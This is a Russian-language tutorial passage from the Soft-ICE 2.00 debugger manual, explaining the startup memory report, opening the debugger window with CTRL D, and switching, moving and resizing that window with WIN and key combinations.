Когда вы перезагрузите вашу систему, Soft-ICE выведет информацию об авторских правах, регистрационный номер, имя владельца этой копии Soft-ICE и количество расширенной памяти, зарезервированной для каждой компоненты Soft-ICE. В системе с 384КБ расширенной памяти начальный экран напоминает следующий:

Soft-ICE Ваше имя Название вашей компании # SInnnnnn Copr. (C) Nu-Mega Technologies 1987-1989 All Rights Reserved Soft-ICE Version 2.00 Soft-ICE is loaded from 00132000H up to 00160000H. 50K of symbol space reserved. 10K of back trace space reserved. 200 K of extended memory available.

Сообщение "Soft-ICE загружен ..." указывает вам точную область памяти, которая занята Soft-ICE и его компонентами. Если у вас Compaq или клон Compaq и включено слово COMPAQ в ваш файл S-ICE.DAT, вы также увидите сообщение : "Using high memory from XXXXXXXX to 00FE0000H".

Следующая строка сообщает, сколько памяти было зарезервировано под символы. Эта память используется для символов и файлов с исходными текстами.

Следующая строка сообщает, сколько памяти было зарезервировано для истории обратной трассировки. По умолчанию резервируется 10КБ. Эта область памяти используется командой SNAP и командой BPR с опциями T или TW.

Последняя строка сообщает вам, сколько памяти оставлено под обычную расширен- ную память. Эта память может использоваться другими программами, типа HIMEM, SMARTDRIVE, VDISK и т.д.

Перейдите в директорию вашего жесткого диска, в которую вы поместили все файлы с вашей дистрибутивной дискеты. Помните, что этот каталог должен быть доступен через переменную PATH.

Прежде чем начинать тяжелую отладку, давайте вызовем окно Soft-ICE и произведем его проверку. Очистите экран, введя:

CLS

Вызовите окно Soft-ICE, нажав:

CTRL D

Теперь окно Soft-ICE - на экране. Если ваш файл S-ICE.DAT доступен через переменную PATH, то окно Soft-ICE будет занимать весь экран. Он будет разделен на четыре части. Сверху вниз эти части : окно регистров, окно данных, окно кода и окно команд. Если S-ICE.DAT не был найден, у вас будет маленькое окно в центре экрана. Это также означает, что другие компоненты, необходимые для обучающей части, не были загружены.

Если видимо маленькое окно, вы должны:

1. Выйти из Soft-ICE, введя X. 2. Выгрузить Soft-ICE, введя S-ICE /U. 3. Скопировать файл S-ICE.DAT с дистрибутивной дискеты в каталог, доступный через существующую переменную PATH. 4. Повторно начать демонстрационный пример.

Сейчас мы перейдем к маленькому окну. Маленькое окно очень удобно для использования Soft-ICE в дополнение к другому отладчику.

Введите:

WIN

Это приведет к появлению маленького окна команд в центре экрана вместо большо- го. На этом экране видно несколько команд Soft-ICE. Это - остатки строки инициализации из S-ICE.DAT, которые первоначально установили Soft-ICE в полноэкранный режим.

Вы заметите символ стимула (:) и строку состояния в нижней части окна.

Окно Soft-ICE может перемещаться относительно экрана, так же может быть отрегулирован размер окна.

Переместите окно по экрану, нажимая:

CTRL стрелка вверх-- перемещает окно на одну строку вверх CTRL стрелка вниз -- перемещает окно на одну строку вниз CTRL стрелка вправо -- перемещает окно на одну позицию вправо CTRL стрелка влево -- перемещает окно на одну позицию влево.

Измените размер окна так, чтобы оно заполнило весь экран, введя:

WIN

Вы увидите, что восстановился первоначальный экран.

Вернитесь к маленькому окну, снова введя.

WIN.

Сделайте окно выше или ниже, нажимая:

ALT стрелка вверх -- делает окно выше ALT стрелка вниз -- делает окно ниже.

Теперь представьте, что происходит, когда вы - перед новой программой и точно не знаете, что делать дальше -- вы просите помощи.

Получите помощь, введя:

?